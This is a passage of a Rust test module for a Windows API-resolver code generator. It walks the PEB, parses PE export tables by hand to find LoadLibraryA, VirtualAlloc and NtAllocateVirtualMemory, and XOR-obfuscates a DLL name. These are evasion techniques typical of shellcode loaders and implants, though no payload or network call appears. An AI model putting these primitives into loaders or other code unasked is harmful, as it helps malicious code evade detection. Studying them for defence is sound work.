    856                 0x014A..=0x0176 => {
    857                     if c % 2 == 0 {
    858                         c + 1
    859                     } else {
    860                         c
    861                     }
    862                 }
    863                 0x0178 => 0x00FF,
    864                 0x0179..=0x017D => {
    865                     if c % 2 == 1 {
    866                         c + 1
    867                     } else {
    868                         c
    869                     }
    870                 }
    871                 0x0391..=0x03A1 => c + 32,
    872                 0x03A3..=0x03AB => c + 32,
    873                 0x0410..=0x042F => c + 32,
    874                 0x0460..=0x0480 => {
    875                     if c % 2 == 0 {
    876                         c + 1
    877                     } else {
    878                         c
    879                     }
    880                 }
    881                 0xFF21..=0xFF3A => c + 32,
    882                 _ => c,
    883             }
    884         }
    885 
    886         pub unsafe fn is_dll_match_impl(
    887             ldr_entry: *mut LDR_DATA_TABLE_ENTRY,
    888             target: &str,
    889         ) -> bool {
    890             if ldr_entry.is_null() || (*ldr_entry).BaseDllName.Buffer.is_null() {
    891                 return false;
    892             }
    893 
    894             let len = (*ldr_entry).BaseDllName.Length as usize / 2;
    895             let name_slice = std::slice::from_raw_parts((*ldr_entry).BaseDllName.Buffer, len);
    896 
    897             let target_w: Vec<u16> = target.encode_utf16().collect();
    898 
    899             if name_slice.len() != target_w.len() {
    900                 return false;
    901             }
    902 
    903             name_slice
    904                 .iter()
    905                 .zip(target_w.iter())
    906                 .all(|(a, b)| unicode_case_fold_impl(*a) == unicode_case_fold_impl(*b))
    907         }
    908 
    909         pub unsafe fn get_peb_impl() -> *mut PEB {
    910             let peb: *mut PEB;
    911             #[cfg(target_pointer_width = "64")]
    912             {
    913                 #[cfg(target_env = "msvc")]
    914                 std::arch::asm!(
    915                     "mov {}, qword ptr gs:[0x60]",
    916                     out(reg) peb,
    917                     options(nostack)
    918                 );
    919                 #[cfg(not(target_env = "msvc"))]
    920                 std::arch::asm!(
    921                     "mov {}, gs:[0x60]",
    922                     out(reg) peb,
    923                     options(nostack)
    924                 );
    925             }
    926             #[cfg(target_pointer_width = "32")]
    927             {
    928                 #[cfg(target_env = "msvc")]
    929                 std::arch::asm!(
    930                     "mov {}, dword ptr fs:[0x30]",
    931                     out(reg) peb,
    932                     options(nostack)
    933                 );
    934                 #[cfg(not(target_env = "msvc"))]
    935                 std::arch::asm!(
    936                     "mov {}, fs:[0x30]",
    937                     out(reg) peb,
    938                     options(nostack)
    939                 );
    940             }
    941             peb
    942         }
    943 
    944         pub unsafe fn get_module_base_impl(
    945             target_dll: &str,
    946             log_prefix: &str,
    947         ) -> *mut winapi::ctypes::c_void {
    948             let peb = get_peb_impl();
    949             println!("{}PEB pointer: {:p}", log_prefix, peb);
    950 
    951             // Validate PEB pointer before dereferencing
    952             if peb.is_null() {
    953                 println!("{}PEB is null!", log_prefix);
    954                 return ptr::null_mut();
    955             }
    956 
    957             let ldr = (*peb).Ldr;
    958             println!("{}LDR pointer: {:p}", log_prefix, ldr);
    959 
    960             // Validate LDR pointer before dereferencing
    961             if ldr.is_null() {
    962                 println!("{}LDR is null!", log_prefix);
    963                 return ptr::null_mut();
    964             }
    965 
    966             let head = &mut (*ldr).InMemoryOrderModuleList as *mut LIST_ENTRY;
    967             let mut curr = (*head).Flink;
    968             println!(
    969                 "{}Starting PEB walk, looking for: {}",
    970                 log_prefix, target_dll
    971             );
    972 
    973             let mut count = 0;
    974             while curr != head {
    975                 let entry = (curr as *mut u8).sub(0x10) as *mut LDR_DATA_TABLE_ENTRY;
    976 
    977                 // Log each DLL we encounter
    978                 if !entry.is_null() && !(*entry).BaseDllName.Buffer.is_null() {
    979                     let len = (*entry).BaseDllName.Length as usize / 2;
    980                     let name_slice = std::slice::from_raw_parts((*entry).BaseDllName.Buffer, len);
    981                     let dll_name: String = std::char::decode_utf16(name_slice.iter().cloned())
    982                         .map(|r| r.unwrap_or('?'))
    983                         .collect();
    984                     println!(
    985                         "{}  [{}] Found DLL: {} (len={}, base: {:p})",
    986                         log_prefix,
    987                         count,
    988                         dll_name,
    989                         len,
    990                         (*entry).DllBase
    991                     );
    992 
    993                     // Show detailed comparison with target
    994                     let target_w: Vec<u16> = target_dll.encode_utf16().collect();
    995                     println!(
    996                         "{}    Comparing with target: {} (len={})",
    997                         log_prefix,
    998                         target_dll,
    999                         target_w.len()
   1000                     );
   1001                     println!(
   1002                         "{}    name_slice u16 values: {:?}",
   1003                         log_prefix,
   1004                         &name_slice[..std::cmp::min(20, name_slice.len())]
   1005                     );
   1006                     println!(
   1007                         "{}    target_w u16 values: {:?}",
   1008                         log_prefix,
   1009                         &target_w[..std::cmp::min(20, target_w.len())]
   1010                     );
   1011 
   1012                     if is_dll_match_impl(entry, target_dll) {
   1013                         println!("{}  Match found!", log_prefix);
   1014                         return (*entry).DllBase;
   1015                     }
   1016                 }
   1017 
   1018                 curr = (*curr).Flink;
   1019                 count += 1;
   1020                 if count > 1000 {
   1021                     println!("{}Safety limit reached - breaking", log_prefix);
   1022                     break;
   1023                 }
   1024             }
   1025 
   1026             println!(
   1027                 "{}DLL not found after walking {} entries",
   1028                 log_prefix, count
   1029             );
   1030             ptr::null_mut()
   1031         }
   1032     }
   1033 
   1034     // Windows-specific integration test that actually executes the PEB walk
   1035     #[test]
   1036     #[cfg(target_os = "windows")]
   1037     #[allow(clippy::too_many_lines)]
   1038     fn test_resolve_kernel32_integrity() {
   1039         use std::ffi::CString;
   1040 
   1041         #[link(name = "kernel32")]
   1042         extern "system" {
   1043             fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void;
   1044         }
   1045 
   1046         unsafe {
   1047             let target = "kernel32.dll";
   1048 
   1049             // Get the expected address using Windows API
   1050             let c_str = CString::new(target).unwrap();
   1051             let expected = GetModuleHandleA(c_str.as_ptr() as *const u8);
   1052             assert!(
   1053                 !expected.is_null(),
   1054                 "Critical: Windows API failed to handle kernel32"
   1055             );
   1056 
   1057             // Get the actual address using our PEB walk implementation
   1058             let actual = test_helpers::get_module_base_impl(target, "");
   1059 
   1060             // Verify that the PEB walk returned a non-null address
   1061             assert!(
   1062                 !actual.is_null(),
   1063                 "PEB walk failed to find kernel32.dll - returned null"
   1064             );
   1065 
   1066             // Verify that both methods return the same address
   1067             assert_eq!(
   1068                 actual, expected,
   1069                 "PEB walk returned {:p} but GetModuleHandleA returned {:p}",
   1070                 actual, expected
   1071             );
   1072 
   1073             // Also test with ntdll.dll for additional validation
   1074             let target_ntdll = "ntdll.dll";
   1075             let c_str_ntdll = CString::new(target_ntdll).unwrap();
   1076             let expected_ntdll = GetModuleHandleA(c_str_ntdll.as_ptr() as *const u8);
   1077             let actual_ntdll = test_helpers::get_module_base_impl(target_ntdll, "");
   1078 
   1079             assert!(!actual_ntdll.is_null(), "PEB walk failed to find ntdll.dll");
   1080             assert_eq!(
   1081                 actual_ntdll, expected_ntdll,
   1082                 "PEB walk for ntdll.dll returned {:p} but GetModuleHandleA returned {:p}",
   1083                 actual_ntdll, expected_ntdll
   1084             );
   1085 
   1086             // Validate that the generated template code is correct
   1087             let generated_code = generate_api_resolver();
   1088             assert!(
   1089                 generated_code.contains("get_module_base"),
   1090                 "Generated code should include get_module_base function"
   1091             );
   1092             assert!(
   1093                 generated_code.contains("gs:[0x60]"),
   1094                 "Generated code should read PEB from GS register"
   1095             );
   1096             assert!(
   1097                 generated_code.contains("InMemoryOrderModuleList"),
   1098                 "Generated code should walk module list"
   1099             );
   1100         }
   1101     }
   1102 
   1103     // Test with encrypted/obfuscated DLL name
   1104     #[test]
   1105     #[cfg(target_os = "windows")]
   1106     fn test_resolve_with_encrypted_dll_name() {
   1107         use std::ffi::CString;
   1108 
   1109         // Simple XOR encryption key
   1110         const XOR_KEY: u8 = 0x55;
   1111 
   1112         // Compile-time encryption function
   1113         const fn encrypt_str(input: &[u8]) -> [u8; 13] {
   1114             let mut result = [0u8; 13];
   1115             let mut i = 0;
   1116             while i < 13 {
   1117                 result[i] = input[i] ^ XOR_KEY;
   1118                 i += 1;
   1119             }
   1120             result
   1121         }
   1122 
   1123         // Decrypt function
   1124         fn decrypt_str(encrypted: &[u8]) -> String {
   1125             let decrypted: Vec<u8> = encrypted.iter().map(|&b| b ^ XOR_KEY).collect();
   1126             String::from_utf8(decrypted).expect("Invalid UTF-8")
   1127         }
   1128 
   1129         // Encrypted "kernel32.dll" at compile time
   1130         const ENCRYPTED_DLL: [u8; 13] = encrypt_str(b"kernel32.dll\0");
   1131 
   1132         #[link(name = "kernel32")]
   1133         extern "system" {
   1134             fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void;
   1135         }
   1136 
   1137         unsafe {
   1138             // Step 1: Decrypt the DLL name at runtime
   1139             let decrypted_dll_name = decrypt_str(&ENCRYPTED_DLL);
   1140             let target = decrypted_dll_name.trim_end_matches('\0');
   1141 
   1142             // Step 2: Get expected address using Windows API
   1143             let c_str = CString::new(target).unwrap();
   1144             let expected = GetModuleHandleA(c_str.as_ptr() as *const u8);
   1145             assert!(
   1146                 !expected.is_null(),
   1147                 "Windows API failed to find kernel32.dll"
   1148             );
   1149 
   1150             // Step 3: Get actual address using our PEB walk with decrypted name
   1151             let actual = test_helpers::get_module_base_impl(target, "[Encrypted test] ");
   1152 
   1153             // Step 4: Verify PEB walk succeeded
   1154             assert!(
   1155                 !actual.is_null(),
   1156                 "PEB walk failed to find kernel32.dll using decrypted name"
   1157             );
   1158 
   1159             // Step 5: Verify both methods return the same address
   1160             assert_eq!(
   1161                 actual, expected,
   1162                 "PEB walk with decrypted DLL name returned {:p} but GetModuleHandleA returned {:p}",
   1163                 actual, expected
   1164             );
   1165 
   1166             println!(
   1167                 "Successfully resolved kernel32.dll using encrypted string: {:p}",
   1168                 actual
   1169             );
   1170         }
   1171     }
   1172 
   1173     // Windows integration test for export parsing
   1174     #[test]
   1175     #[cfg(target_os = "windows")]
   1176     fn test_resolve_function_address_from_exports() {
   1177         use std::ffi::CString;
   1178 
   1179         #[link(name = "kernel32")]
   1180         extern "system" {
   1181             fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void;
   1182             fn GetProcAddress(
   1183                 hModule: *mut winapi::ctypes::c_void,
   1184                 lpProcName: *const u8,
   1185             ) -> *mut winapi::ctypes::c_void;
   1186         }
   1187 
   1188         // Define PE structures needed for our implementation
   1189         #[repr(C)]
   1190         #[allow(non_snake_case)]
   1191         struct IMAGE_DOS_HEADER {
   1192             e_magic: u16,
   1193             e_cblp: u16,
   1194             e_cp: u16,
   1195             e_crlc: u16,
   1196             e_cparhdr: u16,
   1197             e_minalloc: u16,
   1198             e_maxalloc: u16,
   1199             e_ss: u16,
   1200             e_sp: u16,
   1201             e_csum: u16,
   1202             e_ip: u16,
   1203             e_cs: u16,
   1204             e_lfarlc: u16,
   1205             e_ovno: u16,
   1206             e_res: [u16; 4],
   1207             e_oemid: u16,
   1208             e_oeminfo: u16,
   1209             e_res2: [u16; 10],
   1210             e_lfanew: i32,
   1211         }
   1212 
   1213         #[repr(C)]
   1214         #[allow(non_snake_case)]
   1215         struct IMAGE_FILE_HEADER {
   1216             Machine: u16,
   1217             NumberOfSections: u16,
   1218             TimeDateStamp: u32,
   1219             PointerToSymbolTable: u32,
   1220             NumberOfSymbols: u32,
   1221             SizeOfOptionalHeader: u16,
   1222             Characteristics: u16,
   1223         }
   1224 
   1225         #[repr(C)]
   1226         #[allow(non_snake_case)]
   1227         struct IMAGE_DATA_DIRECTORY {
   1228             VirtualAddress: u32,
   1229             Size: u32,
   1230         }
   1231 
   1232         #[repr(C)]
   1233         #[allow(non_snake_case)]
   1234         struct IMAGE_OPTIONAL_HEADER64 {
   1235             Magic: u16,
   1236             MajorLinkerVersion: u8,
   1237             MinorLinkerVersion: u8,
   1238             SizeOfCode: u32,
   1239             SizeOfInitializedData: u32,
   1240             SizeOfUninitializedData: u32,
   1241             AddressOfEntryPoint: u32,
   1242             BaseOfCode: u32,
   1243             ImageBase: u64,
   1244             SectionAlignment: u32,
   1245             FileAlignment: u32,
   1246             MajorOperatingSystemVersion: u16,
   1247             MinorOperatingSystemVersion: u16,
   1248             MajorImageVersion: u16,
   1249             MinorImageVersion: u16,
   1250             MajorSubsystemVersion: u16,
   1251             MinorSubsystemVersion: u16,
   1252             Win32VersionValue: u32,
   1253             SizeOfImage: u32,
   1254             SizeOfHeaders: u32,
   1255             CheckSum: u32,
   1256             Subsystem: u16,
   1257             DllCharacteristics: u16,
   1258             SizeOfStackReserve: u64,
   1259             SizeOfStackCommit: u64,
   1260             SizeOfHeapReserve: u64,
   1261             SizeOfHeapCommit: u64,
   1262             LoaderFlags: u32,
   1263             NumberOfRvaAndSizes: u32,
   1264             DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
   1265         }
   1266 
   1267         #[repr(C)]
   1268         #[allow(non_snake_case)]
   1269         struct IMAGE_NT_HEADERS64 {
   1270             Signature: u32,
   1271             FileHeader: IMAGE_FILE_HEADER,
   1272             OptionalHeader: IMAGE_OPTIONAL_HEADER64,
   1273         }
   1274 
   1275         #[repr(C)]
   1276         #[allow(non_snake_case)]
   1277         struct IMAGE_EXPORT_DIRECTORY {
   1278             Characteristics: u32,
   1279             TimeDateStamp: u32,
   1280             MajorVersion: u16,
   1281             MinorVersion: u16,
   1282             Name: u32,
   1283             Base: u32,
   1284             NumberOfFunctions: u32,
   1285             NumberOfNames: u32,
   1286             AddressOfFunctions: u32,
   1287             AddressOfNames: u32,
   1288             AddressOfNameOrdinals: u32,
   1289         }
   1290 
   1291         unsafe fn get_function_address_impl(
   1292             module_base: *mut winapi::ctypes::c_void,
   1293             function_name: &str,
   1294         ) -> *mut winapi::ctypes::c_void {
   1295             use std::ptr;
   1296 
   1297             println!(
   1298                 "[Export Test] Starting function resolution for: {}",
   1299                 function_name
   1300             );
   1301             println!("[Export Test] Module base: {:p}", module_base);
   1302 
   1303             if module_base.is_null() {
   1304                 println!("[Export Test] ERROR: Module base is null!");
   1305                 return ptr::null_mut();
   1306             }
   1307 
   1308             let dos_header = module_base as *const IMAGE_DOS_HEADER;
   1309             let dos_magic = (*dos_header).e_magic;
   1310             println!(
   1311                 "[Export Test] DOS header magic: 0x{:04X} (expected 0x5A4D)",
   1312                 dos_magic
   1313             );
   1314 
   1315             if dos_magic != 0x5A4D {
   1316                 println!("[Export Test] ERROR: Invalid DOS magic signature!");
   1317                 return ptr::null_mut();
   1318             }
   1319 
   1320             let e_lfanew = (*dos_header).e_lfanew;
   1321             println!("[Export Test] e_lfanew offset: 0x{:X}", e_lfanew);
   1322 
   1323             let nt_headers =
   1324                 (module_base as *const u8).offset(e_lfanew as isize) as *const IMAGE_NT_HEADERS64;
   1325             let nt_signature = (*nt_headers).Signature;
   1326             println!(
   1327                 "[Export Test] NT headers signature: 0x{:08X} (expected 0x4550)",
   1328                 nt_signature
   1329             );
   1330 
   1331             if nt_signature != 0x4550 {
   1332                 println!("[Export Test] ERROR: Invalid PE signature!");
   1333                 return ptr::null_mut();
   1334             }
   1335 
   1336             let export_dir_rva = (*nt_headers).OptionalHeader.DataDirectory[0].VirtualAddress;
   1337             let export_dir_size = (*nt_headers).OptionalHeader.DataDirectory[0].Size;
   1338             println!(
   1339                 "[Export Test] Export directory RVA: 0x{:X}, Size: 0x{:X}",
   1340                 export_dir_rva, export_dir_size
   1341             );
   1342 
   1343             if export_dir_rva == 0 {
   1344                 println!("[Export Test] ERROR: No export directory found!");
   1345                 return ptr::null_mut();
   1346             }
   1347 
   1348             let export_dir = (module_base as *const u8).offset(export_dir_rva as isize)
   1349                 as *const IMAGE_EXPORT_DIRECTORY;
   1350 
   1351             let num_functions = (*export_dir).NumberOfFunctions;
   1352             let num_names = (*export_dir).NumberOfNames;
   1353             println!(
   1354                 "[Export Test] Export directory: {} functions, {} names",
   1355                 num_functions, num_names
   1356             );
   1357 
   1358             let addr_of_names = (module_base as *const u8)
   1359                 .offset((*export_dir).AddressOfNames as isize)
   1360                 as *const u32;
   1361             let addr_of_functions = (module_base as *const u8)
   1362                 .offset((*export_dir).AddressOfFunctions as isize)
   1363                 as *const u32;
   1364             let addr_of_name_ordinals = (module_base as *const u8)
   1365                 .offset((*export_dir).AddressOfNameOrdinals as isize)
   1366                 as *const u16;
   1367 
   1368             println!(
   1369                 "[Export Test] Searching through {} exported names...",
   1370                 num_names
   1371             );
   1372 
   1373             let target_bytes = function_name.as_bytes();
   1374 
   1375             for i in 0..num_names {
   1376                 let name_rva = *addr_of_names.offset(i as isize);
   1377                 let name_ptr = (module_base as *const u8).offset(name_rva as isize);
   1378 
   1379                 // Build the exported function name for logging
   1380                 let mut export_name = Vec::new();
   1381                 let mut j = 0;
   1382                 loop {
   1383                     let byte = *name_ptr.offset(j);
   1384                     if byte == 0 {
   1385                         break;
   1386                     }
   1387                     export_name.push(byte);
   1388                     j += 1;
   1389                     if j > 256 {
   1390                         break; // Safety limit
   1391                     }
   1392                 }
   1393                 let export_name_str = String::from_utf8_lossy(&export_name);
   1394 
   1395                 // Compare null-terminated string
   1396                 let mut match_found = true;
   1397                 let mut j = 0;
   1398                 while j < target_bytes.len() {
   1399                     if *name_ptr.offset(j as isize) != target_bytes[j] {
   1400                         match_found = false;
   1401                         break;
   1402                     }
   1403                     j += 1;
   1404                 }
   1405 
   1406                 // Check for null terminator after the name
   1407                 if match_found && *name_ptr.offset(j as isize) == 0 {
   1408                     let ordinal = *addr_of_name_ordinals.offset(i as isize);
   1409                     let func_rva = *addr_of_functions.offset(ordinal as isize);
   1410                     let func_addr = (module_base as *const u8).offset(func_rva as isize)
   1411                         as *mut winapi::ctypes::c_void;
   1412 
   1413                     println!(
   1414                         "[Export Test] MATCH FOUND at index {}: {} (ordinal: {}, RVA: 0x{:X}, address: {:p})",
   1415                         i, export_name_str, ordinal, func_rva, func_addr
   1416                     );
   1417                     return func_addr;
   1418                 }
   1419 
   1420                 // Log first few exports for debugging
   1421                 if i < 5 {
   1422                     println!("[Export Test]   [{}] {}", i, export_name_str);
   1423                 }
   1424             }
   1425 
   1426             println!(
   1427                 "[Export Test] ERROR: Function '{}' not found in exports!",
   1428                 function_name
   1429             );
   1430             ptr::null_mut()
   1431         }
   1432 
   1433         unsafe {
   1434             println!("\n=== Starting Export Parsing Integration Test ===\n");
   1435 
   1436             // Test 1: Resolve kernel32.dll base address
   1437             let target_dll = "kernel32.dll";
   1438             println!("[Test 1] Resolving module base for {}", target_dll);
   1439 
   1440             let c_str_dll = CString::new(target_dll).unwrap();
   1441             let kernel32_base = GetModuleHandleA(c_str_dll.as_ptr() as *const u8);
   1442 
   1443             assert!(
   1444                 !kernel32_base.is_null(),
   1445                 "Failed to get kernel32.dll base address"
   1446             );
   1447             println!("[Test 1] kernel32.dll base: {:p}\n", kernel32_base);
   1448 
   1449             // Test 2: Resolve LoadLibraryA function
   1450             let function_name = "LoadLibraryA";
   1451             println!("[Test 2] Resolving function: {}", function_name);
   1452 
   1453             let c_str_func = CString::new(function_name).unwrap();
   1454             let expected_addr = GetProcAddress(kernel32_base, c_str_func.as_ptr() as *const u8);
   1455 
   1456             assert!(
   1457                 !expected_addr.is_null(),
   1458                 "GetProcAddress failed to find LoadLibraryA"
   1459             );
   1460             println!(
   1461                 "[Test 2] Expected address (GetProcAddress): {:p}",
   1462                 expected_addr
   1463             );
   1464 
   1465             let actual_addr = get_function_address_impl(kernel32_base, function_name);
   1466 
   1467             assert!(
   1468                 !actual_addr.is_null(),
   1469                 "Export parsing failed to find LoadLibraryA - returned null"
   1470             );
   1471             println!(
   1472                 "[Test 2] Actual address (our implementation): {:p}",
   1473                 actual_addr
   1474             );
   1475 
   1476             assert_eq!(
   1477                 actual_addr, expected_addr,
   1478                 "Export parsing returned {:p} but GetProcAddress returned {:p}",
   1479                 actual_addr, expected_addr
   1480             );
   1481             println!("[Test 2] ✓ LoadLibraryA addresses match!\n");
   1482 
   1483             // Test 3: Resolve GetProcAddress function (meta!)
   1484             let function_name = "GetProcAddress";
   1485             println!("[Test 3] Resolving function: {}", function_name);
   1486 
   1487             let c_str_func = CString::new(function_name).unwrap();
   1488             let expected_addr = GetProcAddress(kernel32_base, c_str_func.as_ptr() as *const u8);
   1489 
   1490             assert!(
   1491                 !expected_addr.is_null(),
   1492                 "GetProcAddress failed to find itself"
   1493             );
   1494             println!(
   1495                 "[Test 3] Expected address (GetProcAddress): {:p}",
   1496                 expected_addr
   1497             );
   1498 
   1499             let actual_addr = get_function_address_impl(kernel32_base, function_name);
   1500 
   1501             assert!(
   1502                 !actual_addr.is_null(),
   1503                 "Export parsing failed to find GetProcAddress"
   1504             );
   1505             println!(
   1506                 "[Test 3] Actual address (our implementation): {:p}",
   1507                 actual_addr
   1508             );
   1509 
   1510             assert_eq!(
   1511                 actual_addr, expected_addr,
   1512                 "Export parsing for GetProcAddress returned {:p} but expected {:p}",
   1513                 actual_addr, expected_addr
   1514             );
   1515             println!("[Test 3] ✓ GetProcAddress addresses match!\n");
   1516 
   1517             // Test 4: Resolve VirtualAlloc function
   1518             let function_name = "VirtualAlloc";
   1519             println!("[Test 4] Resolving function: {}", function_name);
   1520 
   1521             let c_str_func = CString::new(function_name).unwrap();
   1522             let expected_addr = GetProcAddress(kernel32_base, c_str_func.as_ptr() as *const u8);
   1523 
   1524             assert!(
   1525                 !expected_addr.is_null(),
   1526                 "GetProcAddress failed to find VirtualAlloc"
   1527             );
   1528             println!(
   1529                 "[Test 4] Expected address (GetProcAddress): {:p}",
   1530                 expected_addr
   1531             );
   1532 
   1533             let actual_addr = get_function_address_impl(kernel32_base, function_name);
   1534 
   1535             assert!(
   1536                 !actual_addr.is_null(),
   1537                 "Export parsing failed to find VirtualAlloc"
   1538             );
   1539             println!(
   1540                 "[Test 4] Actual address (our implementation): {:p}",
   1541                 actual_addr
   1542             );
   1543 
   1544             assert_eq!(
   1545                 actual_addr, expected_addr,
   1546                 "Export parsing for VirtualAlloc returned {:p} but expected {:p}",
   1547                 actual_addr, expected_addr
   1548             );
   1549             println!("[Test 4] ✓ VirtualAlloc addresses match!\n");
   1550 
   1551             // Test 5: Test with ntdll.dll and NtAllocateVirtualMemory
   1552             let target_dll = "ntdll.dll";
   1553             println!("[Test 5] Resolving module base for {}", target_dll);
   1554 
   1555             let c_str_dll = CString::new(target_dll).unwrap();
   1556             let ntdll_base = GetModuleHandleA(c_str_dll.as_ptr() as *const u8);
   1557 
   1558             assert!(
   1559                 !ntdll_base.is_null(),
   1560                 "Failed to get ntdll.dll base address"
   1561             );
   1562             println!("[Test 5] ntdll.dll base: {:p}", ntdll_base);
   1563 
   1564             let function_name = "NtAllocateVirtualMemory";
   1565             println!("[Test 5] Resolving function: {}", function_name);
   1566 
   1567             let c_str_func = CString::new(function_name).unwrap();
   1568             let expected_addr = GetProcAddress(ntdll_base, c_str_func.as_ptr() as *const u8);
   1569 
   1570             assert!(
   1571                 !expected_addr.is_null(),
   1572                 "GetProcAddress failed to find NtAllocateVirtualMemory"
   1573             );
   1574             println!(
   1575                 "[Test 5] Expected address (GetProcAddress): {:p}",
   1576                 expected_addr
   1577             );
   1578 
   1579             let actual_addr = get_function_address_impl(ntdll_base, function_name);
   1580 
   1581             assert!(
   1582                 !actual_addr.is_null(),
   1583                 "Export parsing failed to find NtAllocateVirtualMemory"
   1584             );
   1585             println!(
   1586                 "[Test 5] Actual address (our implementation): {:p}",
   1587                 actual_addr
   1588             );
   1589 
   1590             assert_eq!(
   1591                 actual_addr, expected_addr,
   1592                 "Export parsing for NtAllocateVirtualMemory returned {:p} but expected {:p}",
   1593                 actual_addr, expected_addr
   1594             );
   1595             println!("[Test 5] ✓ NtAllocateVirtualMemory addresses match!\n");
   1596 
   1597             // Test 6: Test non-existent function (should return null)
   1598             let function_name = "NonExistentFunction12345";
   1599             println!("[Test 6] Testing non-existent function: {}", function_name);
   1600 
   1601             let actual_addr = get_function_address_impl(kernel32_base, function_name);
   1602 
   1603             assert!(
   1604                 actual_addr.is_null(),
   1605                 "Export parsing should return null for non-existent function"
   1606             );
   1607             println!("[Test 6] ✓ Correctly returned null for non-existent function\n");
   1608 
   1609             // Validate that generated template code is correct
   1610             println!("[Validation] Checking generated template code...");
   1611             let generated_code = generate_api_resolver();
   1612             assert!(
   1613                 generated_code.contains("IMAGE_EXPORT_DIRECTORY"),
   1614                 "Generated code should include IMAGE_EXPORT_DIRECTORY"
   1615             );
   1616             assert!(
   1617                 generated_code.contains("get_function_address"),
   1618                 "Generated code should include get_function_address function"
   1619             );
   1620             assert!(
   1621                 generated_code.contains("NumberOfNames"),
   1622                 "Generated code should parse NumberOfNames"
   1623             );
   1624             assert!(
   1625                 generated_code.contains("AddressOfFunctions"),
   1626                 "Generated code should use AddressOfFunctions"
   1627             );
   1628             println!("[Validation] ✓ Generated code contains all required components\n");
   1629 
   1630             println!("=== All Export Parsing Tests Passed! ===\n");
   1631         }
   1632     }
   1633 
   1634     #[test]
   1635     #[cfg(target_os = "windows")]
   1636     fn test_unicode_case_folding_dll_names() {
   1637         use std::ffi::CString;
   1638 
   1639         #[link(name = "kernel32")]
   1640         extern "system" {
   1641             fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void;
   1642         }
   1643 
   1644         unsafe {
   1645             println!("\n=== Testing Unicode Case Folding for DLL Names ===\n");
   1646 
   1647             let variations = vec![
   1648                 "kernel32.dll",
   1649                 "KERNEL32.DLL",
   1650                 "Kernel32.dll",
   1651                 "KeRnEl32.DlL",
   1652             ];
   1653 
   1654             let c_str = CString::new("kernel32.dll").unwrap();
   1655             let expected = GetModuleHandleA(c_str.as_ptr() as *const u8);
   1656             assert!(!expected.is_null(), "Failed to get kernel32.dll handle");
   1657 
   1658             println!(
   1659                 "[Unicode Test] Expected kernel32.dll address: {:p}\n",
   1660                 expected
   1661             );
   1662 
   1663             for (idx, variant) in variations.iter().enumerate() {
   1664                 println!("[Unicode Test {}] Testing variant: {}", idx + 1, variant);
   1665                 let actual =
   1666                     test_helpers::get_module_base_impl(variant, &format!("[Variant {}] ", idx + 1));
   1667 
   1668                 assert!(
   1669                     !actual.is_null(),
   1670                     "Failed to resolve {} using case-insensitive matching",
   1671                     variant
   1672                 );
   1673 
   1674                 assert_eq!(
   1675                     actual, expected,
   1676                     "Case-insensitive matching for {} returned {:p} but expected {:p}",
   1677                     variant, actual, expected
   1678                 );
   1679 
   1680                 println!(
   1681                     "[Unicode Test {}] ✓ Successfully resolved {} to {:p}\n",
   1682                     idx + 1,
   1683                     variant,
   1684                     actual
   1685                 );
   1686             }
   1687 
   1688             println!("=== All Unicode Case Folding Tests Passed! ===\n");
   1689         }
   1690     }
   1691 
   1692     #[test]
   1693     #[cfg(target_os = "windows")]
   1694     fn test_forwarded_exports_resolution() {
   1695         use std::ffi::CString;
   1696 
   1697         #[link(name = "kernel32")]
   1698         extern "system" {
   1699             fn GetModuleHandleA(lpModuleName: *const u8) -> *mut winapi::ctypes::c_void;
   1700             fn GetProcAddress(
   1701                 hModule: *mut winapi::ctypes::c_void,
   1702                 lpProcName: *const u8,
   1703             ) -> *mut winapi::ctypes::c_void;
   1704         }
   1705 
   1706         #[repr(C)]
   1707         #[allow(non_snake_case)]
   1708         struct IMAGE_DOS_HEADER {
   1709             e_magic: u16,
   1710             e_cblp: u16,
   1711             e_cp: u16,
   1712             e_crlc: u16,
   1713             e_cparhdr: u16,
   1714             e_minalloc: u16,
   1715             e_maxalloc: u16,
   1716             e_ss: u16,
   1717             e_sp: u16,
   1718             e_csum: u16,
   1719             e_ip: u16,
   1720             e_cs: u16,
   1721             e_lfarlc: u16,
   1722             e_ovno: u16,
   1723             e_res: [u16; 4],
   1724             e_oemid: u16,
   1725             e_oeminfo: u16,
   1726             e_res2: [u16; 10],
   1727             e_lfanew: i32,
   1728         }
   1729 
   1730         #[repr(C)]
   1731         #[allow(non_snake_case)]
   1732         struct IMAGE_FILE_HEADER {
   1733             Machine: u16,
   1734             NumberOfSections: u16,
   1735             TimeDateStamp: u32,
   1736             PointerToSymbolTable: u32,
   1737             NumberOfSymbols: u32,
   1738             SizeOfOptionalHeader: u16,
   1739             Characteristics: u16,
   1740         }
   1741 
   1742         #[repr(C)]
   1743         #[allow(non_snake_case)]
   1744         struct IMAGE_DATA_DIRECTORY {
   1745             VirtualAddress: u32,
   1746             Size: u32,
   1747         }
   1748 
   1749         #[repr(C)]
   1750         #[allow(non_snake_case)]
   1751         struct IMAGE_OPTIONAL_HEADER64 {
   1752             Magic: u16,
   1753             MajorLinkerVersion: u8,
   1754             MinorLinkerVersion: u8,
   1755             SizeOfCode: u32,
   1756             SizeOfInitializedData: u32,
   1757             SizeOfUninitializedData: u32,
   1758             AddressOfEntryPoint: u32,
   1759             BaseOfCode: u32,
   1760             ImageBase: u64,
   1761             SectionAlignment: u32,
   1762             FileAlignment: u32,
   1763             MajorOperatingSystemVersion: u16,
   1764             MinorOperatingSystemVersion: u16,
   1765             MajorImageVersion: u16,
   1766             MinorImageVersion: u16,
   1767             MajorSubsystemVersion: u16,
   1768             MinorSubsystemVersion: u16,
   1769             Win32VersionValue: u32,
   1770             SizeOfImage: u32,
   1771             SizeOfHeaders: u32,
   1772             CheckSum: u32,
   1773             Subsystem: u16,
   1774             DllCharacteristics: u16,
   1775             SizeOfStackReserve: u64,
   1776             SizeOfStackCommit: u64,
   1777             SizeOfHeapReserve: u64,
   1778             SizeOfHeapCommit: u64,
   1779             LoaderFlags: u32,
   1780             NumberOfRvaAndSizes: u32,
   1781             DataDirectory: [IMAGE_DATA_DIRECTORY; 16],
   1782         }
   1783 
   1784         #[repr(C)]
   1785         #[allow(non_snake_case)]
   1786         struct IMAGE_NT_HEADERS64 {
   1787             Signature: u32,
   1788             FileHeader: IMAGE_FILE_HEADER,
   1789             OptionalHeader: IMAGE_OPTIONAL_HEADER64,
   1790         }
   1791 
